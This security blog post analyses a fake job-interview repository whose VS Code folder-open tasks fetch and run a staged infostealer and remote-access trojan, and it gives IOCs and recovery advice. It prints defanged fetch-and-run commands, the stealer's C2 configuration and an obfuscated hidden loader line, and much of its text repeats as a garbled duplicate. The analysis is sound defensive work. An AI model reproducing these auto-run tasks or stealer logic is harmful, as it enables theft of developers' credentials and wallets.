Is VS Code safe for a repo you never run?
Most of us follow one simple rule with code we don't trust - read it, don't run it. A fake interview repo shows why opening the folder is already running it.
TL;DR: No. A fake job-interview repository I received ran a three-stage infostealer and remote-access trojan (RAT) the moment its folder was opened in a trusted VS Code window. I never typed
npm installornpm start. This post is the low-level teardown. For the high-level overview of all the fake interviews I scanned, and how to protect yourself, see Three fake interviews, three malware repos.
Note: Everything below was done with static analysis only. Remote stages were downloaded as text with
curl -oand never executed. URLs and IPs are defanged (hxxps,[.]), so don’t visit them.
Contents</summary>
- The repo
- Infection chain
- The trigger: tasks hidden in settings.json
- The decoy code
- Stage 1: bootstrap
- Stage 2: connect-runner
- Stage 3: worker.js
- Child 1: browser and wallet stealer
- Child 2: mass file exfiltration
- Child 3: remote access trojan
- Same idea, other tricks
- Attribution
- Indicators of compromise
- Recommendations
</details>
The repo
Name
ai-agent-marketplace (“Decentralized AI Agent Marketplace”, “DAAM-DIS”)
Delivered as
Job-interview take-home task, October 2026
Stack
React + Vite front end, Express back end, Solidity/Hardhat contracts
Git history
One commit, "upload", by a throwaway daambuilder identity, dated 2026-10-09
Verdict
Malicious: multi-stage infostealer + RAT, delivered through a VS Code auto-run task
Infection chain
open folder in VS Code (trusted)
└─ .vscode/settings.json task "ExecutionPolicy" (runOn: folderOpen, hidden output)
└─ curl|wget|irm hxxps://cloudfluxio[.]store/api/terminal/bootstrap?os=…&flag=7 [Stage 1]
├─ installs portable Node.js v22 → ~/.local/share/daam-demo/node (if node < 19)
└─ downloads + runs …/api/terminal/connect-runner?flag=7 [Stage 2]
└─ downloads …/api/terminal/script?flag=7
→ $TMP/daam-extra-XXXX/worker.js, spawned detached + hidden [Stage 3]
├─ npm install sql.js socket.io-client form-data axios (silent, temp dir)
├─ child 1 "ldbScript" browser passwords + wallet extensions + keychain
├─ child 2 "autoUploadScript" recursive file exfiltration
└─ child 3 "socketScript" RAT: remote shell, file browser, clipboard logger
└─ task "Remove workspace settings": rm .vscode/settings.json; rm -rf .git (anti-forensics)
The trigger: tasks hidden in settings.json
Most people who know about this attack check .vscode/tasks.json. Here, that file contained only:
{ "version": "2.0.0" }
The real tasks were in .vscode/settings.json, under a "tasks" key, which VS Code also honors:
Task label
Trigger
Behaviour
ExecutionPolicy
runOn: folderOpen
Windows: powershell -NoProfile -ExecutionPolicy Bypass -Command "try { Invoke-RestMethod -Uri 'hxxps://cloudfluxio[.]store/api/terminal/windows?flag=7' \| Invoke-Expression } finally { exit }"
Linux: wget -qO- 'hxxps://cloudfluxio[.]store/api/terminal/bootstrap?os=linux&flag=7' \| bash >/dev/null 2>&1
macOS: curl -fsSL 'hxxps://cloudfluxio[.]store/api/terminal/bootstrap?os=mac&flag=7' \| bash >/dev/null 2>&1
presentation.close: true closes the terminal panel.
Initialize VScode settings.
runOn: folderOpen
Decoy. Prints ... and sleeps 2 s so the activity looks normal.
Remove workspace settings
runOn: folderOpen, dependsOn the two above, in sequence
rm -f .vscode/settings.json; rm -rf .git. On Windows it first runs attrib -r -s -h .git\* /s /d so the delete succeeds.
That last task is anti-forensics. After infection, the trigger and the git history are both gone, so the victim
has nothing left to inspect.
Why “you never ran it” doesn’t help: runOn: folderOpen runs the task as soon as you open the folder and
answer “Yes, I trust the authors” in the Workspace Trust prompt. Many people click that without thinking,
or have trust prompts turned off.
The decoy code
Everything else was built to pass a quick review:
File / area
Result
package.json (root, frontend/, backend/)
No preinstall / install / postinstall / prepare hooks. Mainstream dependencies (express, cors, jsonwebtoken, vite, react, tailwind, hardhat).
package-lock.json
487 entries, all resolved from registry.npmjs.org. No git, tarball, or file: sources, no hasInstallScript packages, no typosquats.
Lockfile drift
@noble/curves and @noble/hashes are in backend/package.json but missing from the lockfile. Looks like sloppiness, not an attack.
setup.js
Benign. Checks the Node version, copies .env.example to .env, runs npm ci/install --ignore-scripts.
backend/src/**
Benign mock Express API. No outbound network calls, no eval/exec.
frontend/src/**
Benign React UI. MetaMask is used only for eth_requestAccounts, eth_chainId and personal_sign.
contracts/**
Standard ERC-721 marketplace and revenue-sharing contracts, plus tests.
.vscode/log-workspace-open.js
Writes OS, hostname and Node version to a local log. Not referenced by any task. A leftover or decoy.
frontend/src/img/background.jpg
Actually a PNG. Ends exactly at IEND, no appended data.
docs/**, README.md, SETUP.md
No zero-width or bidi characters, no HTML comments, no instructions aimed at AI assistants.
The README and SETUP stress npm install --ignore-scripts for safety. That builds trust, and costs the attacker
nothing, because the real attack doesn’t go through npm at all.
Stage 1: bootstrap
The C2 server sends cache-control: no-store, so the payload can change on any request.
- Makes sure Node.js 19 or newer is available. If it isn’t, it downloads the official Node v22.14.0 tarball
(on Windows, the LTS MSI, extracted with
msiexec /a … /qn) into ~/.local/share/daam-demo/node or
%LOCALAPPDATA%\daam-demo\node. Using legitimate, signed Node binaries helps it avoid antivirus detection.
- Downloads Stage 2 to
$TMP/daam-connect-runner.XXXXXX.js, runs it with node, and deletes the file on exit.
Stage 2: connect-runner
Plain, unobfuscated JavaScript:
- Fetches Stage 3 from
…/api/terminal/script?flag=7 (overridable with the EXTRA_SCRIPT_URL env variable).
- Writes it to
$TMP/daam-extra-XXXXXX/worker.js, with a prelude that swallows all exceptions.
- Spawns it with
{ detached: true, windowsHide: true, stdio: ignore→log files }, adds CREATE_NO_WINDOW
(0x08000000) on Windows, then calls child.unref(). The worker outlives the VS Code terminal and stays
invisible.
- Contains a kill switch,
DAAM_NO_EXTRA=1, and DAAM_DEBUG* switches. These look like the operator’s own
testing hooks.
Stage 3: worker.js
A 4.5 MB file, obfuscated with obfuscator.io / javascript-obfuscator:
- a rotated string array of 26,409 entries;
- mixed base64 and RC4 string encoding with 84 keys;
- split strings (5-character chunks) and proxy objects;
- dead-code injection (
if ("bssYC" !== "bssYC"));
- self-defending regex checks and
debugger anti-debug loops on a setInterval.
How I decoded it without running it:
- Extracted only the pure decoder functions (the string-array accessors and the rotation IIFE) and ran them in an
empty Node
vm context with no require, no process, and no network.
- Ran an
acorn AST pass to resolve 88,732 wrapper calls into literal strings, fold concatenations, and inline the
proxy objects.
- Removed about 900 dead constant tables and wrappers.
That took it from 145k lines down to about 1,600 readable ones. The three child payloads are embedded as
plain-text JavaScript templates, so they came out in full.
Decoded configuration:
const u_s = "http://167.88.172[.]115:8086/upload"; // file upload, used by autoupload + RAT
const l_s = "http://167.88.172[.]115:8085/upload"; // browser/wallet loot upload
const s_s = "http://167.88.172[.]115:8087"; // RAT: socket.io, /api/notify, /api/log
const u_k = 507; // operator / campaign key, sent as "userkey"/"ukey" header
const t = 5; // campaign/build id, used in lock-file names (pid.5.N.lock)
// plus a hard-coded HMAC secret for the upload "validation" header
Main routine:
- Logs “Starting client” to the C2.
- Silently runs
npm install sql.js socket.io-client form-data axios [puppeteer] --no-save --loglevel silent
in a temp directory.
- Writes three child scripts to
$TMP and spawns each one detached and hidden. A lock file
$TMP/pid.5.{1,2,3}.lock holding {pid, startedAt} stops duplicate instances.
Child 1: browser and wallet stealer
ldbScript, lock file pid.5.1.lock.
- 13 browsers: Chrome, Brave, AVG Browser, Edge, Opera, Opera GX, Vivaldi, Kiwi, Yandex, Iridium,
Comodo Dragon, SRWare Iron, Chromium. Every profile (
Default, Profile *).
- Every OS, including WSL. On WSL it runs
cmd.exe /c echo %USERNAME% or walks /mnt/c/Users/* to get at the
Windows-side browsers.
- Master key theft and decryption:
- Windows: reads
Local State → os_crypt.encrypted_key, then decrypts it with DPAPI through a temporary
PowerShell script ($TMP/decrypt-key-*.ps1, ProtectedData::Unprotect, both CurrentUser and LocalMachine
scopes).
- macOS:
security find-generic-password -w -s "<Browser> Safe Storage".
- Linux:
secret-tool lookup application …, or Python secretstorage over D-Bus.
- Then AES-GCM decryption of the
v10/v11 password blobs.
- Uploaded to
:8085:
Login Data, Login Data For Account and Web Data (autofill, saved cards);
- the decrypted passwords;
Local Extension Settings/<id>/* for 40 crypto-wallet extensions
(list below);
- the Brave built-in wallet;
- on macOS,
~/Library/Keychains/login.keychain-db;
- a
sysinfo.txt with host, OS, username and platform.
- Re-runs 11 times, 30 seconds apart, to catch new data.
- Has a disabled (
if (false && …)) Chrome remote-debugging / puppeteer path (--remote-debugging-port=9222) for
newer macOS Chrome builds, ready to be switched on.
Child 2: mass file exfiltration
autoUploadScript, lock file pid.5.2.lock.
- Priority directories:
~/Desktop, ~/Documents, ~/Downloads
~/Projects, ~/projects, ~/Development, ~/development, ~/Code, ~/code, ~/Code Projects,
~/source, ~/Source
~/Library/CloudStorage, ~/OneDrive, ~/Google Drive, ~/GoogleDrive
/mnt on WSL
- Then everything else: the whole home directory on Unix, every drive letter on Windows.
- Uploads to
:8086 any file whose name matches about 250 patterns, including:
.env, config, .yaml, .toml, .ini;
id_rsa, id_ed25519, .pem, .p12, .pfx, .jks, .keystore;
seed, mnemonic, recovery, 12words, bip39, privatekey, wallet, metamask, phantom, ledger,
trezor, exodus, electrum;
password, credential, token, api_key, secret;
.sqlite, .db, .doc(x), .pdf, .xls(x), .txt, .md, .csv, .json, .js, .ts;
.png, .jpg (for screenshots of seed phrases);
cookie, session, bank, financ, hardhat, truffle and more.
- Files up to 5 MB, with a 120 ms throttle and retries, to stay quiet on the network.
Child 3: remote access trojan
socketScript, lock file pid.5.3.lock.
- Beacon:
POST http://167.88.172[.]115:8087/api/notify with host, OS, username and the campaign key. Logs go
to /api/log.
- Persistent socket.io connection to
ws://167.88.172[.]115:8087, with these events:
command: runs arbitrary shell commands (exec, 300 MB buffer, hidden window) and returns the output.
Code 102 lists a directory, 107 uploads a chosen file, 108 uploads a whole folder (25 MB per file).
shellOpen / shellInput / shellResize / shellClose / shellDetach: a fully interactive remote
terminal, using a PTY where available and a hidden TTY backend on Windows.
processControl: starts or stops the other two children.
whour: identifies the host.
- On connect: searches the whole system for
.env files (Get-ChildItem -Recurse across all drives on
Windows, find ~ on Unix) and uploads them.
- Clipboard logger: reads the clipboard every second (PowerShell
Clipboard::GetText(), pbpaste,
xclip/xsel, or WSL → Windows) and sends every new value to the C2. Copied passwords, seed phrases, API keys
and wallet addresses all leak this way.
Persistence: none in this build (no Run keys, LaunchAgents, cron or systemd units). The processes live until
reboot or until they’re killed. It doesn’t really need persistence: the theft finishes in minutes, and the RAT can
install anything it wants afterwards.
Same idea, other tricks
Two other “interview” repos I received this year used the same idea (run on open, stay hidden) with different
mechanics. Both got a BLOCK verdict from
devguard-scanner.
April 2026: plain tasks.json + install hook. Two folderOpen tasks with "echo": false. One silently runs
npm install, the other pipes a per-OS script into a shell:
.vscode/tasks.json:51 curl -L 'hxxps://vscodesetting-task.vercel[.]app/api/settings/mac' | bash
.vscode/tasks.json:54 wget -qO- 'hxxps://vscodesetting-task.vercel[.]app/api/settings/linux' | sh
.vscode/tasks.json:57 curl --ssl-no-revoke -L hxxps://vscodesetting-task.vercel[.]app/api/settings/windows | cmd
package.json:58 "prepare": "node server/server.js"
The silent npm install also fires the prepare lifecycle hook, so there are two independent ways in. The repo also
committed node_modules, a known place to hide modified packages.
June 2026: a loader in tailwind.config.js. No .vscode folder and no install hooks at all. Line 890 of
tailwind.config.js looks empty in an editor, but after 1,326 spaces it holds obfuscator.io output:
tailwind.config.js:890 <…1326 spaces…> const a0ag=a0a1,a0ak=a0a1,…;(function(a0,a1){…while(!![]){try{const a3=parseInt(ab(0x178))…
tailwind.config.js is executed by Vite/PostCSS during npm run dev and by the Tailwind CSS IntelliSense
extension, which loads the project config to power autocomplete. So a file most people would call “just config” is
actually code that runs. To see a hidden line like that:
sed -n '890p' tailwind.config.js | cut -c1-2000
awk 'length > 300 { print FILENAME ":" FNR ": " length " chars" }' $(git ls-files)
Attribution
The tradecraft matches the publicly reported “Contagious Interview” fake job-interview campaigns: a crypto/Web3
take-home task, VS Code folderOpen tasks, a BeaverTail-like Node stealer with the same browser and wallet-extension
list, and InvisibleFerret-like RAT functionality (ported to JavaScript here). Staging sits on a cheap domain on shared
hosting, and the C2 is a bare-IP VPS. I can’t confirm attribution to any specific actor.
Indicators of compromise
Network
cloudfluxio[.]store: /api/terminal/bootstrap, /api/terminal/windows, /api/terminal/connect-runner,
/api/terminal/script
167.88.172[.]115 on TCP 8085, 8086 (HTTP /upload) and 8087 (/api/notify, /api/log, socket.io/WebSocket)
- HTTP headers
userkey: 507, t: 5, validation: <hmac>, file-metadata: …
vscodesetting-task.vercel[.]app/api/settings/{mac,linux,windows} (April 2026 repo)
Filesystem
~/.local/share/daam-demo/ and %LOCALAPPDATA%\daam-demo\
$TMP/daam-connect-runner*.js, $TMP/daam-extra-*/worker.js (plus worker.log, worker.out.log, worker.err.log)
$TMP/pid.5.1.lock, $TMP/pid.5.2.lock, $TMP/pid.5.3.lock
$TMP/.upload_<timestamp>_*, $TMP/decrypt-key-*.ps1, $TMP/*_login_data_*.db, $TMP/remote-shell-bashrc-*.sh,
%TEMP%\daam-node-*.msi
- A repo folder where
.vscode/settings.json and .git have disappeared
Process
node <tmp>/daam-extra-*/worker.js, and node processes started from $TMP with
--max-old-space-size=4096 --no-warnings
powershell -WindowStyle Hidden -EncodedCommand … repeating every second (clipboard polling)
SHA-256 of remote stages (as served 2026-10-10)
Stage
SHA-256
1, Linux
d48dd7cc52b190516120e2ab6feaad57536fd60086d837e40019d64c8a3a1983
1, macOS
e311874df325e1c522916c29b3e5f0f337bee5ef68421db3112541d6961c3f1e
1, Windows
506f76bbcc9c1365498868e773ceeaec4cd43f2f67e3c2dcf027113487780234
2, connect-runner
37d5d02a2d28030f2abacc5ec530eb7be52568c611d88d0566222d512f737797
3, worker.js
b5eacd772937996891a2cc8b399f068cda7958ccff1c0cc71dd80f02040a8872
Wallet extension IDs targeted (40)</summary>
nkbihfbeogaeaoehlefnkodbefgpgknn (MetaMask) ejbalbakoplchlghecdalmeeeajnimhm (MetaMask – Edge)
acmacodkjbdgmoleebolmdjonilkdbch (Rabby) bfnaelmomeimhlpmgjnjophhpkkoljpa (Phantom)
ibnejdfjmmkpcnlpebklmnkoeoihofec (TronLink) egjidjbpglichdcondbcbdnbeeppgdph (Trust Wallet)
nphplpgoakhhjchkkhmiggakijnkhfnd (TON Wallet) omaabbefbmiijedngplfjmnooppbclkk (Tonkeeper)
bhhhlbepdkbapadjdnnojkbgioiodbic (Solflare) aeachknmefphepccionboohckonoeemg (Coin98)
aflkmhkiijdbfcmhplgifokgdeclgpoi agoakfejjabomempkjlepdflaleeobhb (Core)
aholpfdialjgjfhomihkjbmgjidlcdno (Exodus Web3) afbcbjpbpfadlkmhmclhkeeodmamcflc (Math Wallet)
cgbogdmdefihhljhfeffkljbghamglni dmkamcknogkgcdfhhbddcghachkejeap (Keplr)
dlcobpjiigpikoobohmabehhmhfoodbb (Argent X) efbglgofoippbgcjepnhiblaibcnclgk (Martian)
ejjladinnckdgjemekebdpeokbikhfci (Petra) fhbohimaelbohpjbbldcngcnapndodjp (Binance Wallet)
fhkbkphfeanlhnlffkpologfoccekhic fhmfendgdocmcbmfikdcogofphimnkno
fldfpgipfncgndfolcbkdeeknbbbnhcc (MyTonWallet) gjnckgkfmgmibbkoficdidcljeaaaheg
hifafgmccdpekplomjjkcfgodnhcellj (Crypto.com DeFi) hmeobnfnfcmdkdcmlblgagmfpfboieaf
hnfanknocfeofbddgcijnmhnfnkdnaad (Coinbase Wallet) jiidiaalihmmhddjgbnbgdfflelocpak (Bitget Wallet)
jblndlipeogpafnldhgmapagcccfchpi (Kaikas) jmbkjchcobfffnmjboflnchcbljiljdk
jnjpmcgfcfeffkfgcnjefkbkgcpnkpab kpkmkbkoifcfpapmleipncofdbjdpice
khpkpbbcccdmmclmpigdgddabeilkdpd (Suiet) ldinpeekobnhjjdofggfgjlcehhmanaj
lgmpcpglpngdoalbgeoldeajfclnhafa (SafePal) mcohilncbfahbmgdjkbpemcciiolgcge (OKX Wallet)
mopnmbcafieddcagagdcbnhejhlodfdd nkklfkfpelhghbidbnpdfhblphpfjmbo
penjlddjkjgpnkllboccdgccekpkcbin ppbibelpcjmhbdihakflkdcoccbgbkpo (UniSat)
Names are best-effort identifications from public Chrome Web Store IDs. Unlabeled IDs weren’t confirmed.
</details>
Recommendations
Right now
- Delete the repo, and report the sender to the platform where you met them.
-
Never open untrusted repos in VS Code (or Cursor, Windsurf, or other forks) outside Restricted Mode. Add this
to your user settings:
{
"task.allowAutomaticTasks": "off",
"security.workspace.trust.enabled": true
}
- Block
cloudfluxio[.]store and 167.88.172[.]115 on your network or firewall.
- Scan before you open:
pipx install devguard-scanner && devguard scan https://github.com/owner/repo. It doesn’t replace any of the
steps above (see the overview post
for why).
If the repo was ever opened and trusted in VS Code, assume full compromise:
- Disconnect the machine from the network. Look for the IOCs above, kill the
node processes, and delete the
files listed.
- From a different, clean device:
- Create new wallets with new seed phrases and move all crypto funds. Wallet vaults and seed files may
already be stolen.
- Change every browser-saved password, starting with email, password manager, banking, GitHub/GitLab, cloud
consoles and npm. Enable or re-enroll 2FA.
- Sign out of all sessions (Google, GitHub, Slack and so on) to invalidate stolen cookies.
- Rotate all secrets from
.env files and configs: API keys, cloud credentials, DB passwords, deploy
tokens. Rotate SSH keys, and remove the old public keys from servers and GitHub.
- On macOS, change your login password, because the keychain database was taken.
- Reinstall the operating system. The RAT gave the attacker arbitrary command execution, so you can’t confirm by
hand that the machine is clean.
ai-agent-marketplace (“Decentralized AI Agent Marketplace”, “DAAM-DIS”)"upload", by a throwaway daambuilder identity, dated 2026-10-09open folder in VS Code (trusted)
└─ .vscode/settings.json task "ExecutionPolicy" (runOn: folderOpen, hidden output)
└─ curl|wget|irm hxxps://cloudfluxio[.]store/api/terminal/bootstrap?os=…&flag=7 [Stage 1]
├─ installs portable Node.js v22 → ~/.local/share/daam-demo/node (if node < 19)
└─ downloads + runs …/api/terminal/connect-runner?flag=7 [Stage 2]
└─ downloads …/api/terminal/script?flag=7
→ $TMP/daam-extra-XXXX/worker.js, spawned detached + hidden [Stage 3]
├─ npm install sql.js socket.io-client form-data axios (silent, temp dir)
├─ child 1 "ldbScript" browser passwords + wallet extensions + keychain
├─ child 2 "autoUploadScript" recursive file exfiltration
└─ child 3 "socketScript" RAT: remote shell, file browser, clipboard logger
└─ task "Remove workspace settings": rm .vscode/settings.json; rm -rf .git (anti-forensics)
.vscode/tasks.json. Here, that file contained only:{ "version": "2.0.0" }
.vscode/settings.json, under a "tasks" key, which VS Code also honors:ExecutionPolicyrunOn: folderOpenpowershell -NoProfile -ExecutionPolicy Bypass -Command "try { Invoke-RestMethod -Uri 'hxxps://cloudfluxio[.]store/api/terminal/windows?flag=7' \| Invoke-Expression } finally { exit }"Linux:
wget -qO- 'hxxps://cloudfluxio[.]store/api/terminal/bootstrap?os=linux&flag=7' \| bash >/dev/null 2>&1macOS:
curl -fsSL 'hxxps://cloudfluxio[.]store/api/terminal/bootstrap?os=mac&flag=7' \| bash >/dev/null 2>&1presentation.close: true closes the terminal panel.Initialize VScode settings.runOn: folderOpen... and sleeps 2 s so the activity looks normal.Remove workspace settingsrunOn: folderOpen, dependsOn the two above, in sequencerm -f .vscode/settings.json; rm -rf .git. On Windows it first runs attrib -r -s -h .git\* /s /d so the delete succeeds.Why “you never ran it” doesn’t help: runOn: folderOpen runs the task as soon as you open the folder and
answer “Yes, I trust the authors” in the Workspace Trust prompt. Many people click that without thinking,
or have trust prompts turned off.
package.json (root, frontend/, backend/)preinstall / install / postinstall / prepare hooks. Mainstream dependencies (express, cors, jsonwebtoken, vite, react, tailwind, hardhat).package-lock.jsonregistry.npmjs.org. No git, tarball, or file: sources, no hasInstallScript packages, no typosquats.@noble/curves and @noble/hashes are in backend/package.json but missing from the lockfile. Looks like sloppiness, not an attack.setup.js.env.example to .env, runs npm ci/install --ignore-scripts.backend/src/**eval/exec.frontend/src/**eth_requestAccounts, eth_chainId and personal_sign.contracts/**.vscode/log-workspace-open.jsfrontend/src/img/background.jpgIEND, no appended data.docs/**, README.md, SETUP.mdnpm install --ignore-scripts for safety. That builds trust, and costs the attacker
nothing, because the real attack doesn’t go through npm at all.cache-control: no-store, so the payload can change on any request.msiexec /a … /qn) into ~/.local/share/daam-demo/node or
%LOCALAPPDATA%\daam-demo\node. Using legitimate, signed Node binaries helps it avoid antivirus detection.$TMP/daam-connect-runner.XXXXXX.js, runs it with node, and deletes the file on exit.…/api/terminal/script?flag=7 (overridable with the EXTRA_SCRIPT_URL env variable).$TMP/daam-extra-XXXXXX/worker.js, with a prelude that swallows all exceptions.{ detached: true, windowsHide: true, stdio: ignore→log files }, adds CREATE_NO_WINDOW
(0x08000000) on Windows, then calls child.unref(). The worker outlives the VS Code terminal and stays
invisible.DAAM_NO_EXTRA=1, and DAAM_DEBUG* switches. These look like the operator’s own
testing hooks.javascript-obfuscator:if ("bssYC" !== "bssYC"));debugger anti-debug loops on a setInterval.vm context with no require, no process, and no network.acorn AST pass to resolve 88,732 wrapper calls into literal strings, fold concatenations, and inline the
proxy objects.const u_s = "http://167.88.172[.]115:8086/upload"; // file upload, used by autoupload + RAT
const l_s = "http://167.88.172[.]115:8085/upload"; // browser/wallet loot upload
const s_s = "http://167.88.172[.]115:8087"; // RAT: socket.io, /api/notify, /api/log
const u_k = 507; // operator / campaign key, sent as "userkey"/"ukey" header
const t = 5; // campaign/build id, used in lock-file names (pid.5.N.lock)
// plus a hard-coded HMAC secret for the upload "validation" header
npm install sql.js socket.io-client form-data axios [puppeteer] --no-save --loglevel silent
in a temp directory.$TMP and spawns each one detached and hidden. A lock file
$TMP/pid.5.{1,2,3}.lock holding {pid, startedAt} stops duplicate instances.ldbScript, lock file pid.5.1.lock.Default, Profile *).cmd.exe /c echo %USERNAME% or walks /mnt/c/Users/* to get at the
Windows-side browsers.- Windows: reads
Local State→os_crypt.encrypted_key, then decrypts it with DPAPI through a temporary PowerShell script ($TMP/decrypt-key-*.ps1,ProtectedData::Unprotect, both CurrentUser and LocalMachine scopes). - macOS:
security find-generic-password -w -s "<Browser> Safe Storage". - Linux:
secret-tool lookup application …, or Pythonsecretstorageover D-Bus. - Then AES-GCM decryption of the
v10/v11password blobs.
:8085:
Login Data,Login Data For AccountandWeb Data(autofill, saved cards);- the decrypted passwords;
Local Extension Settings/<id>/*for 40 crypto-wallet extensions (list below);- the Brave built-in wallet;
- on macOS,
~/Library/Keychains/login.keychain-db; - a
sysinfo.txtwith host, OS, username and platform.
if (false && …)) Chrome remote-debugging / puppeteer path (--remote-debugging-port=9222) for
newer macOS Chrome builds, ready to be switched on.autoUploadScript, lock file pid.5.2.lock.~/Desktop,~/Documents,~/Downloads~/Projects,~/projects,~/Development,~/development,~/Code,~/code,~/Code Projects,~/source,~/Source~/Library/CloudStorage,~/OneDrive,~/Google Drive,~/GoogleDrive/mnton WSL
:8086 any file whose name matches about 250 patterns, including:
.env,config,.yaml,.toml,.ini;id_rsa,id_ed25519,.pem,.p12,.pfx,.jks,.keystore;seed,mnemonic,recovery,12words,bip39,privatekey,wallet,metamask,phantom,ledger,trezor,exodus,electrum;password,credential,token,api_key,secret;.sqlite,.db,.doc(x),.pdf,.xls(x),.txt,.md,.csv,.json,.js,.ts;.png,.jpg(for screenshots of seed phrases);cookie,session,bank,financ,hardhat,truffleand more.
socketScript, lock file pid.5.3.lock.POST http://167.88.172[.]115:8087/api/notify with host, OS, username and the campaign key. Logs go
to /api/log.ws://167.88.172[.]115:8087, with these events:
command: runs arbitrary shell commands (exec, 300 MB buffer, hidden window) and returns the output. Code102lists a directory,107uploads a chosen file,108uploads a whole folder (25 MB per file).shellOpen/shellInput/shellResize/shellClose/shellDetach: a fully interactive remote terminal, using a PTY where available and a hidden TTY backend on Windows.processControl: starts or stops the other two children.whour: identifies the host.
.env files (Get-ChildItem -Recurse across all drives on
Windows, find ~ on Unix) and uploads them.Clipboard::GetText(), pbpaste,
xclip/xsel, or WSL → Windows) and sends every new value to the C2. Copied passwords, seed phrases, API keys
and wallet addresses all leak this way.tasks.json + install hook. Two folderOpen tasks with "echo": false. One silently runs
npm install, the other pipes a per-OS script into a shell:.vscode/tasks.json:51 curl -L 'hxxps://vscodesetting-task.vercel[.]app/api/settings/mac' | bash
.vscode/tasks.json:54 wget -qO- 'hxxps://vscodesetting-task.vercel[.]app/api/settings/linux' | sh
.vscode/tasks.json:57 curl --ssl-no-revoke -L hxxps://vscodesetting-task.vercel[.]app/api/settings/windows | cmd
package.json:58 "prepare": "node server/server.js"
npm install also fires the prepare lifecycle hook, so there are two independent ways in. The repo also
committed node_modules, a known place to hide modified packages.tailwind.config.js. No .vscode folder and no install hooks at all. Line 890 of
tailwind.config.js looks empty in an editor, but after 1,326 spaces it holds obfuscator.io output:tailwind.config.js:890 <…1326 spaces…> const a0ag=a0a1,a0ak=a0a1,…;(function(a0,a1){…while(!![]){try{const a3=parseInt(ab(0x178))…
tailwind.config.js is executed by Vite/PostCSS during npm run dev and by the Tailwind CSS IntelliSense
extension, which loads the project config to power autocomplete. So a file most people would call “just config” is
actually code that runs. To see a hidden line like that:sed -n '890p' tailwind.config.js | cut -c1-2000
awk 'length > 300 { print FILENAME ":" FNR ": " length " chars" }' $(git ls-files)
folderOpen tasks, a BeaverTail-like Node stealer with the same browser and wallet-extension
list, and InvisibleFerret-like RAT functionality (ported to JavaScript here). Staging sits on a cheap domain on shared
hosting, and the C2 is a bare-IP VPS. I can’t confirm attribution to any specific actor.cloudfluxio[.]store: /api/terminal/bootstrap, /api/terminal/windows, /api/terminal/connect-runner,
/api/terminal/script167.88.172[.]115 on TCP 8085, 8086 (HTTP /upload) and 8087 (/api/notify, /api/log, socket.io/WebSocket)userkey: 507, t: 5, validation: <hmac>, file-metadata: …vscodesetting-task.vercel[.]app/api/settings/{mac,linux,windows} (April 2026 repo)~/.local/share/daam-demo/ and %LOCALAPPDATA%\daam-demo\$TMP/daam-connect-runner*.js, $TMP/daam-extra-*/worker.js (plus worker.log, worker.out.log, worker.err.log)$TMP/pid.5.1.lock, $TMP/pid.5.2.lock, $TMP/pid.5.3.lock$TMP/.upload_<timestamp>_*, $TMP/decrypt-key-*.ps1, $TMP/*_login_data_*.db, $TMP/remote-shell-bashrc-*.sh,
%TEMP%\daam-node-*.msi.vscode/settings.json and .git have disappearednode <tmp>/daam-extra-*/worker.js, and node processes started from $TMP with
--max-old-space-size=4096 --no-warningspowershell -WindowStyle Hidden -EncodedCommand … repeating every second (clipboard polling)d48dd7cc52b190516120e2ab6feaad57536fd60086d837e40019d64c8a3a1983e311874df325e1c522916c29b3e5f0f337bee5ef68421db3112541d6961c3f1e506f76bbcc9c1365498868e773ceeaec4cd43f2f67e3c2dcf02711348778023437d5d02a2d28030f2abacc5ec530eb7be52568c611d88d0566222d512f737797b5eacd772937996891a2cc8b399f068cda7958ccff1c0cc71dd80f02040a8872
Wallet extension IDs targeted (40)</summary>
nkbihfbeogaeaoehlefnkodbefgpgknn (MetaMask) ejbalbakoplchlghecdalmeeeajnimhm (MetaMask – Edge)
acmacodkjbdgmoleebolmdjonilkdbch (Rabby) bfnaelmomeimhlpmgjnjophhpkkoljpa (Phantom)
ibnejdfjmmkpcnlpebklmnkoeoihofec (TronLink) egjidjbpglichdcondbcbdnbeeppgdph (Trust Wallet)
nphplpgoakhhjchkkhmiggakijnkhfnd (TON Wallet) omaabbefbmiijedngplfjmnooppbclkk (Tonkeeper)
bhhhlbepdkbapadjdnnojkbgioiodbic (Solflare) aeachknmefphepccionboohckonoeemg (Coin98)
aflkmhkiijdbfcmhplgifokgdeclgpoi agoakfejjabomempkjlepdflaleeobhb (Core)
aholpfdialjgjfhomihkjbmgjidlcdno (Exodus Web3) afbcbjpbpfadlkmhmclhkeeodmamcflc (Math Wallet)
cgbogdmdefihhljhfeffkljbghamglni dmkamcknogkgcdfhhbddcghachkejeap (Keplr)
dlcobpjiigpikoobohmabehhmhfoodbb (Argent X) efbglgofoippbgcjepnhiblaibcnclgk (Martian)
ejjladinnckdgjemekebdpeokbikhfci (Petra) fhbohimaelbohpjbbldcngcnapndodjp (Binance Wallet)
fhkbkphfeanlhnlffkpologfoccekhic fhmfendgdocmcbmfikdcogofphimnkno
fldfpgipfncgndfolcbkdeeknbbbnhcc (MyTonWallet) gjnckgkfmgmibbkoficdidcljeaaaheg
hifafgmccdpekplomjjkcfgodnhcellj (Crypto.com DeFi) hmeobnfnfcmdkdcmlblgagmfpfboieaf
hnfanknocfeofbddgcijnmhnfnkdnaad (Coinbase Wallet) jiidiaalihmmhddjgbnbgdfflelocpak (Bitget Wallet)
jblndlipeogpafnldhgmapagcccfchpi (Kaikas) jmbkjchcobfffnmjboflnchcbljiljdk
jnjpmcgfcfeffkfgcnjefkbkgcpnkpab kpkmkbkoifcfpapmleipncofdbjdpice
khpkpbbcccdmmclmpigdgddabeilkdpd (Suiet) ldinpeekobnhjjdofggfgjlcehhmanaj
lgmpcpglpngdoalbgeoldeajfclnhafa (SafePal) mcohilncbfahbmgdjkbpemcciiolgcge (OKX Wallet)
mopnmbcafieddcagagdcbnhejhlodfdd nkklfkfpelhghbidbnpdfhblphpfjmbo
penjlddjkjgpnkllboccdgccekpkcbin ppbibelpcjmhbdihakflkdcoccbgbkpo (UniSat)
Names are best-effort identifications from public Chrome Web Store IDs. Unlabeled IDs weren’t confirmed.
</details>
Recommendations
Right now
- Delete the repo, and report the sender to the platform where you met them.
-
Never open untrusted repos in VS Code (or Cursor, Windsurf, or other forks) outside Restricted Mode. Add this
to your user settings:
{
"task.allowAutomaticTasks": "off",
"security.workspace.trust.enabled": true
}
- Block
cloudfluxio[.]store and 167.88.172[.]115 on your network or firewall.
- Scan before you open:
pipx install devguard-scanner && devguard scan https://github.com/owner/repo. It doesn’t replace any of the
steps above (see the overview post
for why).
If the repo was ever opened and trusted in VS Code, assume full compromise:
